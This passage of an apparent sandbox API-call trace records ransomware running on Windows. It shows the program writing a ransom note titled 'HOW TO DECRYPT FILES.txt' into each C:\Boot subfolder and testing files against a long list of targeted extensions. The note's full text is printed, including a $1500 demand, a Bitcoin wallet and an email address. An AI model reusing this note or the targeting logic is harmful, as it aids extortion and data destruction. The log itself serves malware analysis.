decrypt files.txt")) returned 0xffffffff [0057.404] CreateFileA (lpFileName="C:\\Boot\\sv-SE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\sv-se\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.404] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.404] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.406] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.406] CloseHandle (hObject=0x84) returned 1 [0057.406] lstrcatA (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="C:\\Boot\\sv-SE\\bootmgr.exe.mui" [0057.406] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.406] lstrlenA (lpString="*.ems") returned 5 [0057.406] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.406] lstrlenA (lpString="*.db") returned 4 [0057.406] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.406] lstrlenA (lpString="*.dbf") returned 5 [0057.406] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.406] lstrlenA (lpString="*.myox") returned 6 [0057.406] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.406] lstrlenA (lpString="*.myo") returned 5 [0057.406] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.406] lstrlenA (lpString="*.qbw") returned 5 [0057.406] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.406] lstrlenA (lpString="*.qbb") returned 5 [0057.406] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.407] lstrlenA (lpString="*.qbm") returned 5 [0057.407] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.407] lstrlenA (lpString="*.qbo") returned 5 [0057.407] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.407] lstrlenA (lpString="*.qbx") returned 5 [0057.407] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.407] lstrlenA (lpString="*.qba") returned 5 [0057.407] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.407] lstrlenA (lpString="*.qby") returned 5 [0057.407] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.407] lstrlenA (lpString="*.qbj") returned 5 [0057.407] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.407] lstrlenA (lpString="*.ofx") returned 5 [0057.407] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.407] lstrlenA (lpString="*.qif") returned 5 [0057.407] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.407] lstrlenA (lpString="*.mye") returned 5 [0057.407] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.407] lstrlenA (lpString="*.mbox") returned 6 [0057.407] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.407] lstrlenA (lpString="*.eml") returned 5 [0057.407] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.407] lstrlenA (lpString="*.pst") returned 5 [0057.407] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.407] lstrlenA (lpString="*.ost") returned 5 [0057.407] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.407] lstrlenA (lpString="*.idx") returned 5 [0057.407] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.408] lstrlenA (lpString="*.dbx") returned 5 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.408] lstrlenA (lpString="*.sql") returned 5 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.408] lstrlenA (lpString="*.mdb") returned 5 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.408] lstrlenA (lpString="*.fdb") returned 5 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.408] lstrlenA (lpString="*.wab") returned 5 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.408] lstrlenA (lpString="*.dat") returned 5 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.408] lstrlenA (lpString="*.txt") returned 5 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.408] lstrlenA (lpString="*.jpeg") returned 6 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.408] lstrlenA (lpString="*.jpg") returned 5 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.408] lstrlenA (lpString="*.png") returned 5 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.408] lstrlenA (lpString="*.php") returned 5 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.408] lstrlenA (lpString="*.cs") returned 4 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.408] lstrlenA (lpString="*.cpp") returned 5 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.408] lstrlenA (lpString="*.rar") returned 5 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.408] lstrlenA (lpString="*.zip") returned 5 [0057.408] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.408] lstrlenA (lpString="*.html") returned 6 [0057.409] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.409] lstrlenA (lpString="*.htm") returned 5 [0057.409] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.409] lstrlenA (lpString="*.xlsx") returned 6 [0057.409] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.409] lstrlenA (lpString="*.xls") returned 5 [0057.409] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.409] lstrlenA (lpString="*.mp4") returned 5 [0057.409] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.409] lstrlenA (lpString="*.ppt") returned 5 [0057.409] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.409] lstrlenA (lpString="*.pptx") returned 6 [0057.409] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.409] lstrlenA (lpString="*.doc") returned 5 [0057.409] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.409] lstrlenA (lpString="*.dot") returned 5 [0057.409] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.409] lstrlenA (lpString="*.docx") returned 6 [0057.409] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.409] lstrlenA (lpString="*.7z") returned 4 [0057.409] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.409] lstrlenA (lpString="*.tar") returned 5 [0057.409] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.409] lstrlenA (lpString="*.bz2") returned 5 [0057.409] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.409] lstrlenA (lpString="*.gz") returned 4 [0057.409] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.409] lstrlenA (lpString="*.mkv") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.410] lstrlenA (lpString="*.eml") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.410] lstrlenA (lpString="*.msg") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.410] lstrlenA (lpString="*.edb") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.410] lstrlenA (lpString="*.accdb") returned 7 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.410] lstrlenA (lpString="*.odb") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.410] lstrlenA (lpString="*.java") returned 6 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.410] lstrlenA (lpString="*.asm") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.410] lstrlenA (lpString="*.pfx") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.410] lstrlenA (lpString="*.pem") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.410] lstrlenA (lpString="*.p12") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.410] lstrlenA (lpString="*.gpg") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.410] lstrlenA (lpString="*.vsd") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.410] lstrlenA (lpString="*.odg") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.410] lstrlenA (lpString="*.raw") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.410] lstrlenA (lpString="*.nef") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.410] lstrlenA (lpString="*.svg") returned 5 [0057.410] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.411] lstrlenA (lpString="*.psd") returned 5 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.411] lstrlenA (lpString="*.vmx") returned 5 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.411] lstrlenA (lpString="*.vmdk") returned 6 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.411] lstrlenA (lpString="*.vdi") returned 5 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.411] lstrlenA (lpString="*.lay6") returned 6 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.411] lstrlenA (lpString="*.mpeg") returned 6 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.411] lstrlenA (lpString="*.djvu") returned 6 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.411] lstrlenA (lpString="*.tiff") returned 6 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.411] lstrlenA (lpString="*.backup") returned 8 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.411] lstrlenA (lpString="*.pdf") returned 5 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.411] lstrlenA (lpString="*.cert") returned 6 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.411] lstrlenA (lpString="*.docm") returned 6 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.411] lstrlenA (lpString="*.xlsm") returned 6 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.411] lstrlenA (lpString="*.dwg") returned 5 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.411] lstrlenA (lpString="*.nd") returned 4 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.411] lstrlenA (lpString="*.tlg") returned 5 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.411] lstrlenA (lpString="*.lgb") returned 5 [0057.411] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.412] lstrlenA (lpString="*.mov") returned 5 [0057.412] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.412] lstrlenA (lpString="*.xdw") returned 5 [0057.412] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.412] lstrlenA (lpString="*.ods") returned 5 [0057.412] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.412] lstrlenA (lpString="*.wav") returned 5 [0057.412] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.412] lstrlenA (lpString="*.mp3") returned 5 [0057.412] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.412] lstrlenA (lpString="*.aiff") returned 6 [0057.412] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.412] lstrlenA (lpString="*.flac") returned 6 [0057.412] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.412] lstrlenA (lpString="*.m4a") returned 5 [0057.412] PathMatchSpecA (pszFile="C:\\Boot\\sv-SE\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.412] lstrlenA (lpString="*.csv") returned 5 [0057.412] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.412] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.412] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0057.412] lstrcmpA (lpString1=".", lpString2="tr-TR") returned -1 [0057.412] lstrcmpA (lpString1="..", lpString2="tr-TR") returned -1 [0057.412] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.412] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="tr-TR" | out: lpString1="C:\\Boot\\tr-TR") returned="C:\\Boot\\tr-TR" [0057.412] lstrlenA (lpString="C:\\Boot\\tr-TR") returned 13 [0057.412] FindFirstFileA (in: lpFileName="C:\\Boot\\tr-TR\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.413] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.413] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.414] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.414] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.414] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.414] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.414] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.414] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.414] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.414] PathFindFileNameA (pszPath="C:\\Boot\\tr-TR\\*.*") returned="*.*" [0057.414] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\tr-TR\\" | out: lpString1="C:\\Boot\\tr-TR\\") returned="C:\\Boot\\tr-TR\\" [0057.414] PathAddBackslashA (in: pszPath="C:\\Boot\\tr-TR\\" | out: pszPath="C:\\Boot\\tr-TR\\") returned="" [0057.414] lstrcatA (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\tr-TR\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\tr-TR\\HOW TO DECRYPT FILES.txt" [0057.414] GetFileAttributesA (lpFileName="C:\\Boot\\tr-TR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\tr-tr\\how to decrypt files.txt")) returned 0xffffffff [0057.414] CreateFileA (lpFileName="C:\\Boot\\tr-TR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\tr-tr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.414] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.414] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.415] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.416] CloseHandle (hObject=0x84) returned 1 [0057.416] lstrcatA (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="C:\\Boot\\tr-TR\\bootmgr.exe.mui" [0057.416] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.416] lstrlenA (lpString="*.ems") returned 5 [0057.416] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.416] lstrlenA (lpString="*.db") returned 4 [0057.416] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.416] lstrlenA (lpString="*.dbf") returned 5 [0057.416] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.416] lstrlenA (lpString="*.myox") returned 6 [0057.416] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.416] lstrlenA (lpString="*.myo") returned 5 [0057.416] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.416] lstrlenA (lpString="*.qbw") returned 5 [0057.416] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.416] lstrlenA (lpString="*.qbb") returned 5 [0057.416] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.416] lstrlenA (lpString="*.qbm") returned 5 [0057.416] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.416] lstrlenA (lpString="*.qbo") returned 5 [0057.416] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.416] lstrlenA (lpString="*.qbx") returned 5 [0057.416] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.416] lstrlenA (lpString="*.qba") returned 5 [0057.416] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.417] lstrlenA (lpString="*.qby") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.417] lstrlenA (lpString="*.qbj") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.417] lstrlenA (lpString="*.ofx") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.417] lstrlenA (lpString="*.qif") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.417] lstrlenA (lpString="*.mye") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.417] lstrlenA (lpString="*.mbox") returned 6 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.417] lstrlenA (lpString="*.eml") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.417] lstrlenA (lpString="*.pst") returned 5 [0057.417] PathMatchSpecA 